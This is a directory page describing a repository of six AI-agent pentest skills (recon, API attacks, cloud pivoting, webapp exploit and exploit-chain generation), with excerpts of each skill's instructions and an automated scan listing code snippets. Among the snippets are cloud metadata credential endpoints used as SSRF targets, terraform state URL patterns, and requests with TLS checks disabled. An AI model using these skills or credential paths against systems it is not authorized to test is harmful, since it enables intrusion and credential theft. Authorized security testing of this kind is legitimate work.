Not in the top 1,000 by GitHub stars
Orizon-eu/claude-code-pentest
6 Claude Code skills that automate the entire pentest lifecycle. From recon to exploit chains to bug bounty reports — just give it a domain. 43 scripts, zero dependencies, pure Python.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
api-breaker/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
f1cf16f691fb → f1cf16f691fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → f1cf16f691fb
No earlier version was observed for comparison.
attack-path-architect/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
f1cf16f691fb → f1cf16f691fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → f1cf16f691fb
No earlier version was observed for comparison.
cloud-pivot-finder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
f1cf16f691fb → f1cf16f691fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → f1cf16f691fb
No earlier version was observed for comparison.
recon-dominator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
f1cf16f691fb → f1cf16f691fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → f1cf16f691fb
No earlier version was observed for comparison.
vuln-chain-composer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
f1cf16f691fb → f1cf16f691fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → f1cf16f691fb
No earlier version was observed for comparison.
webapp-exploit-hunter/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
f1cf16f691fb → f1cf16f691fb
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → f1cf16f691fb
No earlier version was observed for comparison.
Heat
2.8- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- api-breaker
api-breaker - attack-path-architect
attack-path-architect - cloud-pivot-finder
cloud-pivot-finder - recon-dominator
recon-dominator - vuln-chain-composer
vuln-chain-composer - webapp-exploit-hunter
webapp-exploit-hunter
How it works
api-breaker
When your agent uses it
Automated API security testing starting from domains. Discovers REST, GraphQL, and SOAP APIs, reconstructs schemas, and tests for BOLA/IDOR, BFLA, mass assignment, JWT attacks, rate limiting bypass, and business logic flaws. Use when user asks to "test API security", "break API", "find API vulnerabilities", "test GraphQL", "test JWT", "API pentest", or provides domains with API endpoints. For authorized testing only.
What it loads into context
Frontmatter
122 tokensAlways available to the agent
SKILL.md
1,531 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Important
- Instructions
- Error Handling
- Examples
Scripts executed separately
scripts/api_discovery.pyscripts/api_report.pyscripts/auth_analyzer.pyscripts/authz_tester.pyscripts/logic_tester.pyscripts/mass_assignment.pyscripts/rate_limiter.pyscripts/schema_builder.py
Files
SKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytesscripts/api_discovery.pyruns11,834 bytesscripts/api_report.pyruns18,367 bytesscripts/auth_analyzer.pyruns17,673 bytesscripts/authz_tester.pyruns14,757 bytesscripts/logic_tester.pyruns20,877 bytesscripts/mass_assignment.pyruns15,356 bytesscripts/rate_limiter.pyruns14,865 bytesscripts/schema_builder.pyruns18,851 bytes
Read SKILL.md
# API Breaker
Intelligent API security testing. Discovers, maps, and exploits API vulnerabilities.
## Important
CRITICAL: Only test APIs you have explicit authorization to test.
## Instructions
### Step 1: API Discovery
```bash
python scripts/api_discovery.py --domain {target_domain}View the complete source on GitHubattack-path-architect
When your agent uses it
Generates strategic attack trees and kill chains from reconnaissance data or domain input. Maps MITRE ATT&CK TTPs, identifies chaining opportunities, trust relationships, and prioritizes attack paths by feasibility and impact. Use when user asks for "attack path", "kill chain", "attack tree", "threat modeling from recon", "attack surface analysis", or "prioritize targets". Requires prior recon data or a domain to analyze. For authorized pentesting and red team engagements only.
What it loads into context
Frontmatter
123 tokensAlways available to the agent
SKILL.md
1,809 tokensWhen the skill is activated
Reference documents
398 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Important
- Instructions
- Examples
- Error Handling
Scripts executed separately
scripts/classify_assets.pyscripts/generate_attack_tree.pyscripts/map_trust.py
Files
SKILL.mdcore7,385 bytesSKILL.mdcore7,385 bytesSKILL.mdcore7,385 bytesSKILL.mdcore7,385 bytesSKILL.mdcore7,385 bytesSKILL.mdcore7,385 bytesreferences/mitre-attack-mapping.mddoc1,418 bytesscripts/classify_assets.pyruns12,173 bytesscripts/generate_attack_tree.pyruns19,476 bytesscripts/map_trust.pyruns14,414 bytes
Read SKILL.md
# Attack Path Architect
Strategic attack path generator. Transforms reconnaissance data into actionable kill chains mapped to MITRE ATT&CK.
## Important
CRITICAL: This skill is for authorized penetration testing and red team engagements ONLY. Confirm authorization before generating attack paths.
## Instructions
### Step 1: Input Collection
Accept one of these inputs:
1. **Recon JSON data** from recon-dominator (consolidated.json or individual module outputs)
2. **Raw domain** - will perform lightweight recon first to gather dataView the complete source on GitHubcloud-pivot-finder
When your agent uses it
Maps cloud infrastructure from domains and identifies pivot paths from external to cloud internals. Detects cloud providers, enumerates S3/GCS/Azure storage, finds subdomain takeover opportunities, discovers serverless functions, CI/CD exposure, and IaC leaks. Use when user asks for "cloud security", "S3 enumeration", "subdomain takeover", "cloud recon", "bucket enumeration", "cloud pivot", or provides domains hosted on AWS/GCP/Azure. For authorized testing only.
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
1,428 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Important
- Instructions
- Error Handling
- Examples
Scripts executed separately
scripts/bucket_enum.pyscripts/cicd_finder.pyscripts/cloud_detector.pyscripts/cloud_report.pyscripts/metadata_paths.pyscripts/serverless_finder.pyscripts/takeover_scanner.py
Files
SKILL.mdcore5,891 bytesSKILL.mdcore5,891 bytesSKILL.mdcore5,891 bytesSKILL.mdcore5,891 bytesSKILL.mdcore5,891 bytesSKILL.mdcore5,891 bytesSKILL.mdcore5,891 bytesSKILL.mdcore5,891 bytesSKILL.mdcore5,891 bytesscripts/bucket_enum.pyruns8,697 bytesscripts/cicd_finder.pyruns17,383 bytesscripts/cloud_detector.pyruns14,107 bytesscripts/cloud_report.pyruns24,590 bytesscripts/metadata_paths.pyruns16,361 bytesscripts/serverless_finder.pyruns15,028 bytesscripts/takeover_scanner.pyruns13,852 bytes
Read SKILL.md
# Cloud Pivot Finder
From external domains to cloud infrastructure compromise paths.
## Important
CRITICAL: Only test cloud infrastructure you have explicit authorization to test. Unauthorized access to cloud resources is a criminal offense.
## Instructions
### Step 1: Cloud Provider Detection
```bash
python scripts/cloud_detector.py --domain {target_domain}View the complete source on GitHubrecon-dominator
When your agent uses it
Automated full-scope reconnaissance starting from a domain or domain list. Performs subdomain enumeration, port scanning, technology fingerprinting, OSINT correlation, Google dorking, and Wayback analysis. Use when user provides a domain or list of domains and asks for "recon", "reconnaissance", "attack surface mapping", "subdomain enumeration", "footprinting", or "information gathering". Designed for authorized penetration testing and bug bounty.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
1,545 tokensWhen the skill is activated
Reference documents
313 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Important
- Instructions
- Output Files Structure
- Error Handling
- Examples
Scripts executed separately
scripts/active_recon.pyscripts/generate_report.pyscripts/google_dorker.pyscripts/osint_correlator.pyscripts/passive_recon.pyscripts/port_scanner.pyscripts/tech_fingerprint.pyscripts/wayback_analyzer.py
Files
SKILL.mdcore6,460 bytesSKILL.mdcore6,460 bytesSKILL.mdcore6,460 bytesSKILL.mdcore6,460 bytesSKILL.mdcore6,460 bytesSKILL.mdcore6,460 bytesSKILL.mdcore6,460 bytesSKILL.mdcore6,460 bytesSKILL.mdcore6,460 bytesSKILL.mdcore6,460 bytesreferences/subdomains-wordlist.txtdoc1,965 bytesreferences/tools-setup.mddoc1,162 bytesscripts/active_recon.pyruns10,901 bytesscripts/generate_report.pyruns10,161 bytesscripts/google_dorker.pyruns8,048 bytesscripts/osint_correlator.pyruns9,341 bytesscripts/passive_recon.pyruns9,403 bytesscripts/port_scanner.pyruns10,483 bytesscripts/tech_fingerprint.pyruns9,016 bytesscripts/wayback_analyzer.pyruns10,925 bytes
Read SKILL.md
# Recon Dominator
Full-scope reconnaissance orchestrator. From a single domain to a complete attack surface map.
## Important
CRITICAL: Only use on domains you have explicit authorization to test. Verify scope before every engagement.
## Instructions
### Step 1: Scope Validation
Before ANY reconnaissance activity:
1. Ask the user to confirm they have written authorization to test the target domain(s)
2. Confirm the scope boundaries (wildcard subdomains? specific IPs only? out-of-scope assets?)View the complete source on GitHubvuln-chain-composer
When your agent uses it
Composes multi-step exploit chains by correlating vulnerabilities across domains, calculates real impact of chained findings, generates end-to-end PoC scripts, and produces bug bounty ready reports. Use when user asks to "chain vulnerabilities", "compose exploit chain", "correlate findings", "calculate real impact", "write bug bounty report", "combine findings", or has multiple vulnerability findings across domains that need strategic analysis. For authorized pentesting and bug bounty only.
What it loads into context
Frontmatter
118 tokensAlways available to the agent
SKILL.md
1,735 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Important
- Instructions
- Error Handling
- Examples
Scripts executed separately
scripts/build_chains.pyscripts/calculate_impact.pyscripts/correlate.pyscripts/generate_chain_poc.pyscripts/generate_report.pyscripts/import_findings.py
Files
SKILL.mdcore7,648 bytesSKILL.mdcore7,648 bytesSKILL.mdcore7,648 bytesSKILL.mdcore7,648 bytesSKILL.mdcore7,648 bytesSKILL.mdcore7,648 bytesSKILL.mdcore7,648 bytesscripts/build_chains.pyruns18,802 bytesscripts/calculate_impact.pyruns13,854 bytesscripts/correlate.pyruns13,033 bytesscripts/generate_chain_poc.pyruns18,859 bytesscripts/generate_report.pyruns17,270 bytesscripts/import_findings.pyruns16,468 bytes
Read SKILL.md
# Vuln Chain Composer
The strategic brain. Correlates individual vulnerabilities into devastating multi-step exploit chains.
## Important
CRITICAL: This skill produces offensive security analysis. Only use with explicit authorization on the target systems.
## Instructions
### Step 1: Import Findings
Accept vulnerability data from:
1. JSON output from webapp-exploit-hunter, api-breaker, cloud-pivot-finder
2. Manual finding descriptions from the userView the complete source on GitHubwebapp-exploit-hunter
When your agent uses it
Automated web application vulnerability scanner and exploit generator starting from domains or URLs. Tests for SQLi, XSS, SSRF, IDOR, SSTI, authentication bypass, file upload bypass, and race conditions. Generates working PoC for each finding. Use when user asks to "find vulnerabilities", "scan web app", "test for XSS/SQLi/SSRF", "hunt bugs", "bug bounty scan", or provides a domain for web security testing. For authorized testing only.
What it loads into context
Frontmatter
128 tokensAlways available to the agent
SKILL.md
2,037 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Important
- Instructions
- Error Handling
- Examples
Scripts executed separately
scripts/auth_tester.pyscripts/crawler.pyscripts/generate_poc.pyscripts/idor_tester.pyscripts/race_tester.pyscripts/sqli_tester.pyscripts/ssrf_tester.pyscripts/ssti_tester.pyscripts/upload_tester.pyscripts/vuln_report.pyscripts/xss_tester.py
Files
SKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesSKILL.mdcore8,201 bytesscripts/auth_tester.pyruns27,914 bytesscripts/crawler.pyruns12,719 bytesscripts/generate_poc.pyruns28,689 bytesscripts/idor_tester.pyruns16,417 bytesscripts/race_tester.pyruns13,479 bytesscripts/sqli_tester.pyruns14,854 bytesscripts/ssrf_tester.pyruns10,090 bytesscripts/ssti_tester.pyruns10,979 bytesscripts/upload_tester.pyruns27,209 bytesscripts/vuln_report.pyruns19,038 bytesscripts/xss_tester.pyruns11,142 bytes
Read SKILL.md
# Webapp Exploit Hunter
Intelligent web application vulnerability scanner. Context-aware testing that adapts to the target's technology stack.
## Important
CRITICAL: Only test web applications you have explicit authorization to test (pentest agreement, bug bounty program, or own infrastructure).
## Instructions
### Step 1: Target Setup
Accept input as:
1. Single domain or URL
2. List of domains/URLs (from recon-dominator output or manual list)View the complete source on GitHubSkills included
- api-breaker
- attack-path-architect
- cloud-pivot-finder
- recon-dominator
- vuln-chain-composer
- webapp-exploit-hunter
Repository facts
- License
- MIT
- Created
- Mar 11, 2026
- Last pushed
- Mar 11, 2026
- Forks
- 7
- Open issues
- 0
- Project activity
- Slowing
Before you install
Network or broad shellAutomated signals, not a guarantee
Offensive security tool: run only in authorized labs.
Checked Nov 4, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 47 notes
api-breaker/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedapi-breaker/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedapi-breaker/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedapi-breaker/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedapi-breaker/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedapi-breaker/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedapi-breaker/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedapi-breaker/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedattack-path-architect/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedattack-path-architect/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedattack-path-architect/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedattack-path-architect/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedattack-path-architect/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcloud-pivot-finder/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcloud-pivot-finder/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcloud-pivot-finder/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcloud-pivot-finder/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcloud-pivot-finder/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcloud-pivot-finder/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcloud-pivot-finder/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 2 dangerous shell commandsin 1 file: recon-dominator/references/tools-setup.md:46
- 468 network referencesin 38 files: webapp-exploit-hunter/scripts/generate_poc.py:165 vuln-chain-composer/scripts/generate_chain_poc.py:2 webapp-exploit-hunter/scripts/ssrf_tester.py:37 and 35 more
- 1 obfuscation signalin 1 file: webapp-exploit-hunter/scripts/auth_tester.py:334
- No instruction overrides
- 43 executable scriptsin 43 files: api-breaker/scripts/api_discovery.py:1 api-breaker/scripts/api_report.py:1 api-breaker/scripts/auth_analyzer.py:1 and 40 more
- 32 references to secretsin 10 files: api-breaker/scripts/auth_analyzer.py:242 cloud-pivot-finder/scripts/cicd_finder.py:143 webapp-exploit-hunter/scripts/auth_tester.py:169 and 7 more
- No requests to vote in Hot
Show all 546 signals by file
api-breaker/SKILL.md
api-breaker/scripts/api_discovery.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 41
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 42
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 43
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 44
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 45
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 257
domain = args.domain.strip().lower() if not domain.startswith("http"): base_url = f"https://{domain}" - Network accessline 258
if not domain.startswith("http"): base_url = f"https://{domain}" else: - Network accessline 259
base_url = f"https://{domain}"
api-breaker/scripts/api_report.py
api-breaker/scripts/auth_analyzer.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 46
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 47
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 48
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 49
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 50
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Access to secretsline 242
[Credential-related source omitted] - Access to secretsline 249
[Credential-related source omitted] - Access to secretsline 250
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Access to secretsline 256
[Credential-related source omitted] - Access to secretsline 260
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted]
api-breaker/scripts/authz_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 44
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 45
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 46
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 47
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 48
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
api-breaker/scripts/logic_tester.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 44
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 45
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 46
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 47
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 48
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
api-breaker/scripts/mass_assignment.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 43
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 44
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 45
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 46
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 47
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
api-breaker/scripts/rate_limiter.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 44
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 45
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 46
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 47
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 48
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
api-breaker/scripts/schema_builder.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 43
if data and isinstance(data, str): data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 44
data = data.encode("utf-8") req = urllib.request.Request(url, data=data, headers=default_headers, method=method) try: - Network accessline 45
req = urllib.request.Request(url, data=data, headers=default_headers, method=method) - Network accessline 46
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(65536).decode("utf-8", errors="replace") - Network accessline 47
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
attack-path-architect/references/mitre-attack-mapping.md
attack-path-architect/scripts/classify_assets.py
- Executable scriptline 1
#!/usr/bin/env python3
attack-path-architect/scripts/generate_attack_tree.py
- Executable scriptline 1
#!/usr/bin/env python3
attack-path-architect/scripts/map_trust.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 35
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 36
ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) try: - Network accessline 37
req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 38
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: return dict(resp.headers) - Network accessline 39
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 190
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE with socket.create_connection((host, 443), timeout=3) as sock: - Network accessline 191
ctx.verify_mode = ssl.CERT_NONE with socket.create_connection((host, 443), timeout=3) as sock: with ctx.wrap_socket(sock, server_hostname=host) as ssock: - Network accessline 192
with socket.create_connection((host, 443), timeout=3) as sock:
cloud-pivot-finder/SKILL.md
- Access to secretsline 105
[Credential-related source omitted]
cloud-pivot-finder/scripts/bucket_enum.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 36
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 37
ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) try: - Network accessline 38
req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 39
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: return resp.status, resp.read(32768).decode("utf-8", errors="replace") - Network accessline 40
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: - Network accessline 94
url = f"https://{name}.s3.amazonaws.com/" - Network accessline 117
url2 = f"https://s3.amazonaws.com/{name}/" - Network accessline 131
url = f"https://storage.googleapis.com/{name}/" - Network accessline 152
url = f"https://{name}.blob.core.windows.net/?comp=list"
cloud-pivot-finder/scripts/cicd_finder.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Network accessline 217
CLOUD_STATE_URLS = { "s3_tfstate": [ "https://{name}.s3.amazonaws.com/terraform.tfstate", - Network accessline 218
"s3_tfstate": [ "https://{name}.s3.amazonaws.com/terraform.tfstate", "https://{name}.s3.amazonaws.com/env/prod/terraform.tfstate", - Network accessline 219
"https://{name}.s3.amazonaws.com/terraform.tfstate", - Network accessline 220
"https://{name}.s3.amazonaws.com/env/prod/terraform.tfstate", - Network accessline 221
"https://{name}.s3.amazonaws.com/env/dev/terraform.tfstate", - Network accessline 222
"https://{name}.s3.amazonaws.com/state/terraform.tfstate", - Network accessline 223
], "gcs_tfstate": [ "https://storage.googleapis.com/{name}/terraform.tfstate", - Network accessline 224
"gcs_tfstate": [ "https://storage.googleapis.com/{name}/terraform.tfstate", "https://storage.googleapis.com/{name}/default.tfstate", - Network accessline 225
"https://storage.googleapis.com/{name}/terraform.tfstate", - Network accessline 226
"https://storage.googleapis.com/{name}/default.tfstate", - Network accessline 234
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 235
ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) try: - Network accessline 236
req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 237
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: headers = dict(resp.headers) - Network accessline 238
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
cloud-pivot-finder/scripts/cloud_detector.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 125
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 126
ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) try: - Network accessline 127
req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 128
try: with urllib.request.urlopen(req, timeout=5, context=ctx) as resp: headers = dict(resp.headers) - Network accessline 129
with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:
cloud-pivot-finder/scripts/cloud_report.py
- Executable scriptline 1
#!/usr/bin/env python3
cloud-pivot-finder/scripts/metadata_paths.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 35
METADATA_ENDPOINTS = { "AWS IMDSv1": { "url": "http://169.254.169.254/latest/meta-data/", - Network accessline 36
"AWS IMDSv1": { "url": "http://169.254.169.254/latest/meta-data/", "credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 37
"url": "http://169.254.169.254/latest/meta-data/", - Network accessline 38
"credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 41
}, "AWS IMDSv2": { "url": "http://169.254.169.254/latest/meta-data/", - Network accessline 42
"AWS IMDSv2": { "url": "http://169.254.169.254/latest/meta-data/", "credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 43
"url": "http://169.254.169.254/latest/meta-data/", - Network accessline 44
"credential_path": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", - Network accessline 45
"token_header": "X-aws-ec2-metadata-token", "token_url": "http://169.254.169.254/latest/api/token", "provider": "AWS", - Network accessline 46
"token_url": "http://169.254.169.254/latest/api/token", - Network accessline 48
}, "GCP Metadata": { "url": "http://metadata.google.internal/computeMetadata/v1/", - Network accessline 49
"GCP Metadata": { "url": "http://metadata.google.internal/computeMetadata/v1/", "credential_path": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", - Network accessline 50
"url": "http://metadata.google.internal/computeMetadata/v1/", - Network accessline 51
"credential_path": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", - Network accessline 54
}, "Azure IMDS": { "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", - Network accessline 55
"Azure IMDS": { "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "credential_path": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com - Network accessline 56
"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", - Network accessline 57
"credential_path": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/", - Network accessline 60
}, "DigitalOcean Metadata": { "url": "http://169.254.169.254/metadata/v1/", - Network accessline 61
"DigitalOcean Metadata": { "url": "http://169.254.169.254/metadata/v1/", "credential_path": None, - Network accessline 62
"url": "http://169.254.169.254/metadata/v1/", - Network accessline 159
if extra_headers: headers.update(extra_headers) req = urllib.request.Request(url, headers=headers) - Network accessline 160
headers.update(extra_headers) req = urllib.request.Request(url, headers=headers) try: - Network accessline 161
req = urllib.request.Request(url, headers=headers) - Network accessline 162
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: body = resp.read(32768).decode("utf-8", errors="replace") - Network accessline 163
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
cloud-pivot-finder/scripts/serverless_finder.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Network accessline 132
ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 133
ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) try: - Network accessline 134
req = urllib.request.Request(url, headers={"User-Agent": "orizon-recon/1.0"}) - Network accessline 135
try: with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp: headers = dict(resp.headers) - Network accessline 136
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
cloud-pivot-finder/scripts/takeover_scanner.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 191
